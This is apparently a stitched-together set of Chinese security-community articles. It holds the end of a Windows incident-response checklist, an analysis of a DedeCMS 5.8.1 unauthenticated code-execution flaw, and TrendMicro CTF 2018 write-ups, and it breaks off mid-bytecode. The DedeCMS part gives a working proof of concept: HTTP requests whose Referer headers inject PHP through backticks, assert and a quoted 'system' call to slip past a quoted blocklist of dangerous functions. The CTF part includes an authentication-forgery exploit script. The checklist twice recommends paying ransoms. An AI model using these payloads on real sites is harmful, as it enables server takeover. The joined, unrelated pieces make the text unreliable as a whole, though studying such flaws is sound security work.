* 搜索历史
* 快捷方式（LNK）
* 驱动
driverquery
* 进程 DLL 的关联查询
tasklist -M
* 共享文件
* 最近的文件（%UserProfile%\Recent）
* 文件更新
* 已安装文件
* hklm:\software\Microsoft\Windows\CurrentVersion\Uninstall\
* 异常现象之前创建的文件
## 2.8 检查注册表
注册表目录含义：
1. HKEY_CLASSES_ROOT（HKCR）：此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序。它还包含有关拖放规则，快捷方式和用户界面信息的更多详细信息。
2. HKEY_CURRENT_USER（HKCU）：包含当前登录系统的用户的配置信息，包括用户的文件夹，屏幕颜色和控制面板设置。HKEY_USERS中特定于用户的分支的别名。通用信息通常适用于所有用户，并且是HKU.DEFAULT。
3. HKEY_LOCAL_MACHINE（HKLM）：包含运行操作系统的计算机硬件特定信息。它包括系统上安装的驱动器列表以及已安装硬件和应用程序的通用配置。
4. HKEY_USERS（HKU）：包含系统上所有用户配置文件的配置信息，包括应用程序配置和可视设置。
5. HKEY_CURRENT_CONFIG（HCU）：存储有关系统当前配置的信息。
一些重要的注册表键
hklm:\Software\Microsoft\Windows\CurrentVersion\policies\system
hklm:\Software\Microsoft\Active Setup\Installed Components
hklm:\Software\Microsoft\Windows\CurrentVersion\App Paths
hklm:\software\microsoft\windows nt\CurrentVersion\winlogon
hklm:\software\microsoft\security center\svc
hkcu:\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
hkcu:\Software\Microsoft\Windows\CurrentVersion\explorer\RunMru
hklm:\Software\Microsoft\Windows\CurrentVersion\explorer\Startmenu
hklm:\System\CurrentControlSet\Control\Session Manager
hklm:\Software\Microsoft\Windows\CurrentVersion\explorer\ShellFolders
hklm:\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved
hklm:\System\CurrentControlSet\Control\Session Manager\AppCertDlls
hklm:\Software\Classes\exefile\shell\open\command
hklm:\BCD00000000
hklm:\system\currentcontrolset\control\lsa
hklm:\Software \Microsoft\Windows\CurrentVersion\Explorer\BrowserHelper Objects
hklm:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
hkcu:\Software\Microsoft\Internet Explorer\Extensions
hklm:\Software\Microsoft\Internet Explorer\Extensions
hklm:\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions
活用注册表编辑器的搜索功能，根据进程名称、服务名称、文件名称搜索注册表。
# 3\. 特定事件痕迹检查
## 3.1 挖矿病毒应急
### 3.1.1 传播方式
通常可能的传播方式：
1. 通过社工、钓鱼方式下载和运行了挖矿程序（邮件、IM 等）
2. 利用计算机系统远程代码执行漏洞下载、上传和执行挖矿程序
3. 利用计算机 Web 或第三方软件漏洞获取计算机权限，然后下载和执行挖矿程序
4. 利用弱口令进入系统，下载和执行挖矿程序
5. 执行 Web 页面的挖矿 JS 脚本
### 3.1.2 挖矿程序特点
* CPU、GPU、内存利用率高；
* 网络会连接一些矿工 IP，可以通过威胁情报获取。
### 3.1.3 挖矿程序应急目的
* 找出入侵原因
* 找到挖矿程序，并删除
挖矿事件应急可能需要对样本进行分析，需要二进制的一些分析能力，通过提取样本后确认样本分类、行为、危害。
## 3.2 勒索病毒事件应急
### 3.2.1 传播方式
通常可能的传播方式：
1. 通过社工、钓鱼方式下载和运行了勒索程序（邮件、IM 等）
2. 利用计算机系统远程代码执行漏洞下载、上传和执行勒索病毒
3. 利用计算机 Web 或第三方软件漏洞获取计算机权限，然后下载和执行勒索病毒
4. 利用弱口令进入计算机系统，下载和执行勒索病毒
### 3.2.2 勒索病毒特点
* 各种数据文件和可执行程序生成奇怪的后缀名；
* 明显的提示，要交赎金
### 3.3.3 勒索病毒应急目的
* 如果是重要数据，交付赎金恢复数据；
* 找到入侵的原因，排查同类漏洞，并进行加固（一般是重装）
确认勒索病毒后要立即拔掉网线，限制传播范围。
## 3.3 应急示例
* <http://blog.nsfocus.net/emergency-response-case-study/>
* <https://blog.csdn.net/qq_27446553/article/details/81102198>
<http://vinc.top/2017/05/03/windows%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%EF%BC%8820170503%EF%BC%89/>
* [https://mp.weixin.qq.com/s?src=11×tamp=1533106387&ver=1033&signature=8P*AjLzeMd*GnPg0SwF4o6I06Sx804FDLw6PUkEch4h8eCCyQEr8A9hbHaIHPrqR-WiIdoJPqMsmSVic4-gs*sd3j613UabGbt6z9mQT6p5fWutdawPYrht-VlixmLLS&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1533106387&ver=1033&signature=8P*AjLzeMd*GnPg0SwF4o6I06Sx804FDLw6PUkEch4h8eCCyQEr8A9hbHaIHPrqR-WiIdoJPqMsmSVic4-gs*sd3j613UabGbt6z9mQT6p5fWutdawPYrht-VlixmLLS&new=1)
* [https://mp.weixin.qq.com/s?src=11×tamp=1533106458&ver=1033&signature=8P*AjLzeMd*GnPg0SwF4o6I06Sx804FDLw6PUkEch4hJcF-gDfZJVqz2bzHZt6fF*EmCrKm*DXOl3CMpdqrFZwBPOuAKr1TQcF7qG2x72YvsE8D1nglxXyYenvA2HLqY&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1533106458&ver=1033&signature=8P*AjLzeMd*GnPg0SwF4o6I06Sx804FDLw6PUkEch4hJcF-gDfZJVqz2bzHZt6fF*EmCrKm*DXOl3CMpdqrFZwBPOuAKr1TQcF7qG2x72YvsE8D1nglxXyYenvA2HLqY&new=1)
# 4\. Sysinternals Utilities
工具中有些是命令行工具，有些是有 GUI 界面，作用：
* 使用Process Explorer显示详细的流程和系统信息
* 使用Process Monitor捕获低级系统事件，并快速过滤输出以缩小根本原因
* 列出，分类和管理在您启动或登录计算机时运行的软件，或运行Microsoft Office或Internet Explorer时运行的软件
* 验证文件，正在运行的程序以及这些程序中加载的模块的数字签名
* 使用可以识别和清除恶意软件感染的Autoruns，Process Explorer，Sigcheck和Process Monitor功能
* 检查文件，密钥，服务，共享和其他对象的权限
* 使用 Sysmon 监控整个网络中与安全相关的事件
* 当进程满足指定条件时生成内存转储
* 远程执行进程，并关闭远程打开的文件
* 管理Active Directory对象并跟踪LDAP API调用
* 捕获有关处理器，内存和时钟的详细数据
* 对无法启动的设备，文件使用中的错误，无法解释的通信以及许多其他问题进行故障排除
* 了解其他地方没有详细记录的Windows核心概念
下载：<https://docs.microsoft.com/en-us/sysinternals/downloads/>
## 4.1 常用工具介绍
### 4.1.1 autoruns
可以方便的查看自启动、计划任务和运行服务，通过关联右键菜单可以获取更详细的内容。
### 4.1.2 procexp
查看进程的工具。
### 4.1.3 ADExplorer
Active Directory Explorer（AD Explorer）是一种高级Active Directory（AD）查看器和编辑器。
您可以使用AD
Explorer轻松导航AD数据库，定义收藏位置，查看对象属性和属性，而无需打开对话框，编辑权限，查看对象的架构，以及执行可以保存和重新执行的复杂搜索。
AD Explorer还包括保存AD数据库快照以进行脱机查看和比较的功能。 加载已保存的快照时，您可以像实时数据库一样导航和浏览它。
如果您有两个AD数据库快照，则可以使用AD Explorer的比较功能查看它们之间更改的对象，属性和安全权限。
### 4.1.4 TCPView
查看网络连接情况
### 4.1.5 PSExec
像Telnet这样的实用程序和Symantec的PC
Anywhere等远程控制程序允许您在远程系统上执行程序，但是设置起来很麻烦，并且要求您在要访问的远程系统上安装客户端软件。 PsExec是一种轻量级的
telne t替代品，可让您在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件。
PsExec最强大的用途包括在远程系统上启动交互式命令提示和IpConfig等远程启用工具，否则它们无法显示有关远程系统的信息。
使用可以参考：<https://www.itprotoday.com/management-mobility/psexec>
### 4.1.6 LogonSessions
列出了当前活动的登录会话，如果指定-p选项，则列出每个会话中运行的进程。
## 4.2 Troubleshooting with the Windows Sysinternals Tools 2nd Edition
这是一本书，介绍 Sysinternals 工具集的使用。
# 5\. 其他
* 关注近期的安全事件趋势，定期查看 CNCERT 的安全报告，其他一些杀毒软件公司的论坛也要关注；
* 结合近期的应急，对每次应急出现的新状况进行总结分析，一段时间内的应急需求基本是一致的；
* 关注几个威胁情报中心，可以分析域名、IP、文件 MD5，比较方便判断攻击方式；
* 准备好杀毒盘和 Live 盘，可以利用 U 盘做一个专用的应急响应工具包
* Webshell 查杀
* D盾_Web查杀：<http://www.d99net.net/index.asp>
* 河马webshell查杀：<http://www.shellpub.com>
* 深信服Webshell网站后门检测工具：<http://edr.sangfor.com.cn/backdoor_detection.html>
* 勒索软件基本没有办法，重要数据只能交赎金，不过也是有些特定的勒索病毒能恢复文件
* 如果未作 Windows 的日志集中化 ，如果入侵删掉所有日志， 大部分情况下只能呵呵，查一下可能的入侵链路上的其他设备、同网段设备有什么日志；
* 弱口令是很常见的入侵事件原因；
* 眼见为实，证据说话，不要被客户诱导；
* Windows 的攻击方式可以了解一下 [ATT&CK 矩阵](https://attack.mitre.org/wiki/Windows_Technique_Matrix)
# 参考
* <https://mp.weixin.qq.com/s/17L_fQJ1qjSvt8UL7VSemg>
* <https://sect.iij.ad.jp/d/2018/05/044132/training_material_sample_for_eventlog_analysis.pdf>
* <https://www.jianshu.com/p/15310fd23f54>
* <https://www.sans.org/course/windows-forensic-analysis>
* <https://www.sans.org/reading-room/whitepapers/forensics/live-response-powershell-34302> | 社区文章 |
# 楔子
晚上在Srcincite上面看到了国外发布的DedeCMS_V5.8.1前台任意未授权命令执行，一时兴起就下下来分析了一波，自己也比较菜，有些点可能都说的不是很明白，其实这洞蛮简单的，有点类似于以前那个dz的前台代码执行，在写入临时tpl缓存文件的时候，缓存内容中存在可控的函数且使用了include进行包含，导致我们可以写入任意代码，造成代码执行，话不多说直接进入正题，漏洞主要是由于include\common.func.php中定义的ShowMsg参数导致的，任何文件存在调用ShowMsg的情况下，都可以造成模板注入，下面以Plus/recommend.php为例展开分析：
Plus/recommend.php
先看到recommend.php，
贴出关键代码：
require_once dirname(__FILE__) . "/../include/common.inc.php";//全局常用函数require_once DEDEINC . '/common.func.php';
if (empty($aid)) {
ShowMsg("文档ID不能为空!", "-1");
exit();
}
include/common.func.php
接着进入到common.func.php
贴出关键代码：
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
......
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }//$gourl的获取方式为$_SERVER['HTTP_REFERER']可控
$msg = $htmlhead . $rmsg . $htmlfoot;
$tpl = new DedeTemplate();
$tpl->LoadString($msg);//dedetemplate.class.php
$tpl->Display();
以上就是临时构造的模板内容，且$gourl可控，在Plus/recommend.php中给gourl定义默认为-1//ShowMsg("文档ID不能为空!",
"-1");，所以$gourl的值为REFERER，接着看处理模板的地方。
include/dedetemplate.class.php
在dedetemplate.class.php中，跟进到LoadString函数
public function LoadString($str = '')
{
$this->sourceString = $str;
$hashcode = md5($this->sourceString);
$this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";//生成的缓存文件名
$this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
$this->ParseTemplate();
}
Display函数
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile;
}
我们前面gourl注入的恶意代码，通过调用WriteCache写入
public function WriteCache($ctype = 'all')
{
if (!file_exists($this->cacheFile) || $this->isCache == false
|| (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
) {
if (!$this->isParse) {
$this->ParseTemplate();
}
$fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
flock($fp, 3);
$result = trim($this->GetResult());
$errmsg = '';
if (!$this->CheckDisabledFunctions($result, $errmsg)) {
fclose($fp);
@unlink($this->cacheFile);
die($errmsg);
}
fwrite($fp, $result);
fclose($fp);
if (count($this->tpCfgs) > 0) {
$fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");
flock($fp, 3);
fwrite($fp, '<' . '?php' . "\r\n");
foreach ($this->tpCfgs as $k => $v) {
$v = str_replace("\"", "\\\"", $v);
$v = str_replace("\$", "\\\$", $v);
fwrite($fp, "\$this->tpCfgs['$k']=\"$v\";\r\n");
}
fwrite($fp, '?' . '>');
fclose($fp);
}
}
我们可以先看一下赋值Referer为coldwater，然后写入的模板内容。
现在我们将Referer替换为注入代码，当然我们如果直接写一些常见的危险函数是不行的，因为在dedetemplate.class.php中，存在CheckDisabledFunctions函数，CheckDisabledFunctions函数在WriteCache中被调用，会对内容进行一个检测。
public function CheckDisabledFunctions($str, &$errmsg = '')
{
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
// 模板引擎增加disable_functions
if (!defined('DEDEDISFUN')) {
$tokens = token_get_all_nl($str);
$disabled_functions = explode(',', $cfg_disable_funs);
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
return false;
}
}
}
}
return true;
}
但是很明显，assert不在这个黑名单里面，且对get和post请求中的字符没有过，滤我们可以利用assert或者call_user_func执行任意代码.
除此之外，也并没有对""进行检测，在php中，""中的字符串可以被解析为函数，此外对反应号也没有检测，贴出实例。
POC：
GET /plus/recommend.php?b=dir HTTP/1.1
Host: 127.0.0.1
Referer: <?php $b = `$a`; echo "<pre>$b</pre>";/*
Referer: <?php "system" ($b); /*
Referer: <?php assert ($b); /*
原文地址：<https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html> | 社区文章 |
> 我们是由Eur3kA和flappypig组成的联合战队r3kapig。本周末，我们参与了趋势科技举办的TrendMicro CTF 2018
> Qualifier 并以第十名的成绩成功晋级12月在日本东京举办的TrendMicro CTF 2018
> Final。我们决定把我们做出来的题目的writeup发出来分享给大家。
>
> 另外我们战队目前正在招募队员，欢迎想与我们一起玩的同学加入我们，尤其是Misc/Crypto的大佬，有意向的同学请联系[email protected]。给大佬们递茶。
> 由于是国际比赛，所以我们的首发wp为英文版，中文版正在路上～
## Analysis-Offense
### 200
I just modified my callgrind solver to solve this challenge.
$ cat oracle.py
#!/usr/bin/python -u
#-*- coding:utf-8 -*-
# Let's exploit easy and quick!
# 1) apt install valgrind
# 2) use callgrind to find instruction count
flag = 'TMCTF{'
n = 0
import os
import sys
# format given by admin
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}"
while True:
n += 1
total_call_count = {}
for i in charset:
cmd = "valgrind --tool=callgrind --dump-instr=yes --callgrind-out-file=temp/call_count ./oracle '" + flag + i + "A' 2>&1"
# print(cmd)
res = os.popen(cmd).read()
call_count = res.split("Collected : ")[1].split()[0]
call_count = int(call_count)
# total_call_count { 'call_count': [occured_count, occured_by], ... }
if not total_call_count.get(call_count):
total_call_count[call_count] = [1, [i]]
else:
total_call_count[call_count][0] += 1
total_call_count[call_count][1].append(i)
print(n, i, call_count)
## get lowest/highest idx,
idx_call_count = total_call_count.keys()
print(idx_call_count)
idx_call_count.sort()
highest_count_idx = idx_call_count[-1]
lowest_count_idx = idx_call_count[0]
# get highest idx
flag_char = total_call_count[highest_count_idx][1][0]
flag += flag_char
print(n, total_call_count, highest_count_idx, flag)
### 300
We get 3 rsa public keys here, and there are no other attack method, just GCD
them and found the GCD number to factor 3 n.
c1=18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
e1=65537
n1=23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347
c2=27979368157170890767030069060194038526134599497456846620984054211906413024410400026053694007247773572972357106574636186987337336771777265971389911503143036021889778839064900818858188026318442675667707
e2=65537
n2=46914096084767238967814493997294740286838053572386502727910903794939283633197997427383196569296188299557978279732421725469482678512672280108542428152186999218210536447287087212703368704976239539968977
c3=24084879450015204136831744759734371350696278325227327049743434712309456808867398488915798176282769616955247276506807739249439515225213919008982824219656080794207250454008942016125074768497986930713993
e3=65537
n3=24543003393712692769038137223030855401835344295968717177380639898023646407807465197761211529143336105057325706788229129519925129413109571220297378014990693203802558792781281981621549760273376606206491
def int2text(message):
result=""
while message>0:
result = chr(int(message)%int(256))+ result
message=int(message)/int(256)
return result
import primefac
p1=primefac.gcd(n1,n2)
q1=n1/p1
d=primefac.modinv(e1,(p1-1)*(q1-1))%((p1-1)*(q1-1))
m1=pow(c1,d,n1)
print int2text(m1)
p2=p1
q2=n2/p2
d=primefac.modinv(e2,(p2-1)*(q2-1))%((p2-1)*(q2-1))
m2=pow(c2,d,n2)
print int2text(m2)
p3=primefac.gcd(n2,n3)
q3=n3/p3
d=primefac.modinv(e3,(p3-1)*(q3-1))%((p3-1)*(q3-1))
m3=pow(c3,d,n3)
print int2text(m3)
### 400
This challenge is a white-box protocol analysis aimed to break the
authentication system.
Following is the work flow of this authenticatoin system:
1. the user send a login request with username to the server
2. the server send Nonce and ChallengeCookie = Base64Encode(RandomIV | AES128-CBC(RandomIV,Nonce | U | Timestamp, KS)) back to the user
3. the user send the challenge response(R = SHA256(Nonce | P), where P is the password for authentication) to the server
4. the server verify whether the password and username is right or not. if right the server will issue a ticket to user, Ticket = Base64Encode(RandomIV | AES128-CBC(RandomIV,Identity | TicketTimestamp, KS)) where Identity = JSON string: { user: U, groups: [ G1, G2, ... ] }
where G1, G2, ... are the names of the groups that U belongs to
5. the user can use the ticket to run some command, if the username in the ticket is admin, we can run the command "getflag"
to break this authentication protocol, we can send a login request with
username 'AAAAAAAA' + '{"user": "admin", "groups": ["admin"]}\x00' to the
server.
the server will response with Base64Encode(RandomIV | AES128-CBC(RandomIV,
Nonce | 'AAAAAAAA{"user": "admin", "groups": ["admin"]}\x00 | Timestamp, KS)).
since the AES128-CBC is a block cipher with CBC mode, we can use the
AES128-CBC(RandomIV, Nonce | 'AAAAAAAA) as the newIV, and the remain part will
be AES128-CBC(newIV,{"user": "admin", "groups": ["admin"]}\x00 | Timestamp),
which is a valid admin ticket.
then we can use the ticket to run getflag command and get the flag.
from pwn import *
import base64
from Crypto.Cipher import AES
io=remote("localhost",9999)
def toNullTerminatedUtf8(s):
return unicode(s).encode("utf-8") + "\x00"
payload="\x01"+"A"*8+'{"user": "admin", "groups": ["admin"]}\x00'
io.send(payload)
data=io.recv(1000)
nounce=data[1:9]
cookie_b64=data[9:]
cookie = base64.b64decode(cookie_b64)
iv=cookie[:16]
fake_ticket=cookie[16:]
fake_ticket_b64=base64.b64encode(fake_ticket)
cmd="\x06"+fake_ticket_b64+"\x00"+"getflag\x00"
io.send(cmd)
io.interactive()
## Reverse-Binary
### 100
We first find base64-encoded data from the pcap file.
Then, reverse the pyinstaller binary and modify the script to solve the
challenge.
import struct, os, time, threading, urllib, requests, ctypes, base64
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import SHA
infile = 'flag'
encfile = 'orig.CRYPTED'
keyfile = 'keyfile'
sz = 1024
bs = 16
def decrypt_request():
pcap_req = "35998fdb7fe3b7940b9375a68a654ff949c58dcb9b1aebb048d6aa74d905b7b0c6e04b404eb61129f92ad912703850201582ce39e77bfe739fec528741b202f8923a9f8d6303617d8e6e35a0d644115e238522c6d0cacd1afdae23050452c998e39a"
_hash_chksum = pcap_req[:40]
_hash_content = pcap_req[40:]
dec = ARC4.new(_hash_chksum.decode('hex'))
return dec.decrypt(_hash_content.decode('hex'))
# 'id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390'
def generate_keyfile():
# n = hex(ord(id) + bs)
n = hex(ord('d1'.decode('hex')) + 16)
iv = "95bc0ed56ab0e730b64cce91c9fe9390".decode('hex')
key = "2f87011fadc6c2f7376117867621b606".decode('hex')
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv))
keyfile = open("keyfile", "wb")
keyfile.write(key + iv)
keyfile.close()
print(n, iv, key)
return True
def decrypt():
global keyfile
key = ''
iv = ''
if not os.path.exists(encfile):
exit(0)
while True:
time.sleep(10)
if os.path.exists(keyfile):
keyin = open(keyfile, 'rb')
key = keyin.read(bs)
iv = keyin.read(bs)
if len(key) != 0 and len(iv) != 0:
aes = AES.new(key, AES.MODE_CBC, iv)
fin = open(encfile, 'r')
fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0]
fout = open(infile, 'w')
fin.seek(2, 0)
while True:
data = fin.read(sz)
n = len(data)
if n == 0:
break
decrypted = aes.decrypt(data)
n = len(decrypted)
if fsz > n:
fout.write(decrypted)
else:
fout.write(decrypted[:fsz])
fsz -= n
fin.close()
os.remove(encfile)
break
print(decrypt_request())
generate_keyfile()
decrypt()
# ----Trend Microt CTF 2018. Flag for this challenge is: TMCTF{MJB1200}
### 200
A 32-bit shellcode injector using IAT hook. `DragQueryFileW` in `notepad.exe`
is hooked. The shellcode is written into `.text` section of `shell32.dll` .
from ida_bytes import get_bytes, patch_bytes
buf = bytearray(get_bytes(0x4031A0, 376))
for i in xrange(len(buf)):
buf[i] ^= [0xDE, 0xAD, 0xF0, 0x0D][i % 4]
patch_bytes(0x4031A0, str(buf))
Run 32-bit notepad.exe and drop a file named "zdi_ftw", the rot13-enctypted
flag is shown.
`TMCTF{want_sum_iat_hooking}`
### 300
The PE file is packed but it's easy to unpack. It detects debugger by
`IsDebuggerPresent`, and Virtual Machine by checking the presense of specific
.sys file. Checks whether the hour field of current time is 5.
`TMCTF{F14g1s::____1G}`
### 400
A river crossing puzzle with a servant(7), a dog(4), a father(6), a mother(5),
two sons(2,3) and two daughters(0,1).
sidev = 1
def side():
global sidev
t = sidev
sidev = 0 if sidev else 1
return t
def a(x, y = None):
if(y == None):
return "\xD0" + chr(side()) + chr(1 << x)
else:
return "\xD1" + chr(side()) + chr(1 << x) + chr(1 << y)
s = a(7, 4) + a(7)
s += a(7, 0) + a(7, 4)
s += a(5, 1) + a(5)
s += a(6, 5) + a(6)
s += a(7, 4) + a(5)
s += a(6, 5) + a(6)
s += a(6, 2) + a(7, 4)
s += a(7, 3) + a(7)
s += a(7, 4)
print(s.encode("hex").lower())
## Reverse-Other
### 100
Run the binary directly, it ouput "flag is here", but run the binary under
debugger, it output "nice try, punk".
so it seems like there are anti-dbg techniques deployed on this binary.
No worry, there are various ways to patch the binary and bypass the anti-debugging. once we find the function that output "flag is here", we found the
flag. since the flag is reside in that function.
### 200
Simply unpack upx, some weird strings appear in main function.
I noticed this program will self-open and read all data in memory by using API
monitor.
After some reversing , I found that it will compare the section name in
memory.
Simply modify the code , let program compare the encrypted flag string with
section name, you got flag in debugger instantly.
### 400
This Challenge is a python bytecode reversing challenge.
import sys
def verify_flag(flag): pass
verify_flag.__code__ = verify_flag.__code__.__class__( 1 , 20 , 9 , 67 , 'y\x0c\x00|\x00\x00d\x01\x00\x17\x01Wn%\x00\x01\x01\x01x9\x00|\x00\x00D]\x10\x00}\x01\x00|\x01\x00|\x01\x007}\x01\x00q\x19\x00W~\x01\x00n\x1b\x00Xx\x17\x00t\x00\x00rJ\x00|\x00\x00|\x00\x007}\x00\x00q7\x00W~\x00\x00y\x08\x00t\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xt\x02\x00|\x00\x00\x83\x01\x00d\x01\x00k\x02\x00sx\x00t\x03\x00r|\x00t\x03\x00S|\x00\x00j\x04\x00d\x02\x00\x83\x01\x00s\x8f\x00t\x03\x00S|\x00\x00j\x05\x00d\x03\x00\x83\x01\x00s\xb4\x00t\x03\x00S|\x00\x00j\x06\x00d\x02\x00\x83\x01\x00}\x00\x00na\x00t\x02\x00|\x00\x00\x83\x01\x00}\x02\x00|\x00\x00j\x07\x00d\x02\x00d\x04\x00\x83\x02\x00d\x05\x00\x19j\x08\x00d\x03\x00d\x04\x00\x83\x02\x00d\x01\x00\x19}\x00\x00y \x00t\x02\x00|\x00\x00\x83\x01\x00d\x06\x00\x17|\x02\x00k\x02\x00s\x05\x01t\t\x00\x82\x01\x00Wn\x08\x00\x01\x01\x01t\x03\x00SXd&\x00\x01|\x00\x00d\x08\x00j\x06\x00d\t\x00d\n\x00\x83\x02\x00k\x02\x00r1\x01t\x03\x00St\n\x00t\x0b\x00|\x00\x00\x83\x02\x00}\x00\x00t\x02\x00|\x00\x00\x83\x01\x00}\x02\x00|\x02\x00d\x0b\x00k\x03\x00r\\\x01t\x03\x00St\x0c\x00|\x00\x00\x83\x01\x00}\x03\x00|\x03\x00|\x02\x00\x16d\x0c\x00k\x03\x00r|\x01t\x03\x00S|\x03\x00|\x02\x00\x15}\x04\x00t\r\x00|\x04\x00\x83\x01\x00d\r\x00k\x03\x00r\x9c\x01t\x03\x00Sg\x00\x00|\x00\x00D]\x10\x00}\x05\x00|\x05\x00|\x04\x00A^\x02\x00q\xa3\x01}\x00\x00t\x0e\x00t\x0f\x00|\x00\x00\x83\x01\x00\x83\x01\x00}\x06\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x07\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x08\x00d\x01\x00g\x01\x00d\x07\x00\x14}\t\x00d\x01\x00g\x01\x00d\x07\x00\x14}\n\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0b\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0c\x00d\x01\x00g\x01\x00d\x07\x00\x14}\r\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0e\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x0f\x00d\x01\x00g\x01\x00d\x07\x00\x14}\x10\x00xS\x02t\x10\x00t\x02\x00|\x07\x00\x83\x01\x00\x83\x01\x00D]?\x02}\x11\x00x\xc6\x01t\x10\x00t\x02\x00|\x08\x00\x83\x01\x00d\x04\x00\x18\x83\x01\x00D]\xae\x01}\x12\x00|\x07\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x17\x19N\x03<|\x08\x00|\x11\x00\x19|\x00\x00|\x11\x00|\x12\x00\x17\x19\x17d\x0e\x00k\x04\x00r\xbb\x02t\x03\x00S|\x08\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x17\x197\x03<|\t\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x14\x19N\x03<|\n\x00|\x11\x00\x19|\x00\x00|\x11\x00|\x12\x00\x14\x19\x17d\x0e\x00k\x04\x00r\x0b\x03t\x03\x00S|\n\x00|\x11\x00c\x02\x00\x19|\x00\x00|\x11\x00|\x12\x00\x14\x197\x03<|\x0b\x00|\x11\x00c\x02\x00\x19|\x00\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19N\x03<|\x0c\x00|\x11\x00\x19|\x00\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19\x17d\x0e\x00k\x04\x00rc\x03t\x03\x00S|\x0c\x00|\x11\x00c\x02\x00\x19|\x00\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x197\x03<|\r\x00|\x11\x00c\x02\x00\x19|\x06\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19N\x03<|\x0e\x00|\x11\x00\x19|\x06\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x19\x17d\x0e\x00k\x04\x00r\xbf\x03t\x03\x00S|\x0e\x00|\x11\x00c\x02\x00\x19|\x06\x00d\x0f\x00|\x11\x00|\x12\x00\x14\x17\x197\x03<|\x0f\x00|\x11\x00c\x02\x00\x19|\x06\x00|\x11\x00|\x12\x00\x17\x19N\x03<|\x10\x00|\x11\x00\x19|\x06\x00|\x11\x00|\x12\x00\x17\x19\x17d\x0e\x00k\x04\x00r\x13\x04t\x03\x00S|\x10\x00|\x11\x00c\x02\x00\x19|\x06\x00|\x11\x00|\x12\x00\x17\x197\x03<q}\x02W|\x07\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\t\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\x0b\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\r\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\x0f\x00|\x11\x00c\x02\x00\x19d\x10\x007\x03<|\x0c\x00|\x11\x00c\x02\x00\x19d\x0f\x007\x03<|\x10\x00|\x11\x00c\x02\x00\x19d\x04\x007\x03<q`\x02WxJ\x00|\x07\x00|\t\x00|\x0b\x00|\r\x00|\x0f\x00|\n\x00|\x0c\x00|\x0e\x00|\x10\x00g\t\x00D]\'\x00}\x13\x00x\x1e\x00|\x13\x00D]\x16\x00}\x05\x00|\x05\x00d\x0e\x00k\x04\x00r\xd2\x04t\x03\x00Sq\xd2\x04Wq\xc5\x04Wd\x11\x00j\x11\x00t\n\x00t\r\x00|\x07\x00\x83\x02\x00\x83\x01\x00d\x12\x00k\x03\x00r\x12\x05t\x03\x00Sy&\x00d\x11\x00j\x11\x00t\n\x00t\r\x00|\x08\x00\x83\x02\x00\x83\x01\x00d\x13\x00k\x03\x00r7\x05t\x03\x00SWn\x12\x00\x04t\x12\x00k\n\x00rL\x05\x01\x01\x01t\x03\x00SXd\x11\x00j\x11\x00t\n\x00t\r\x00|\t\x00\x83\x02\x00\x83\x01\x00d\x14\x00k\x03\x00ro\x05t\x03\x00St\x13\x00|\n\x00\x83\x01\x00d\'\x00k\x03\x00r\x85\x05t\x03\x00Sd\x11\x00j\x11\x00t\n\x00t\r\x00|\x0b\x00\x83\x02\x00\x83\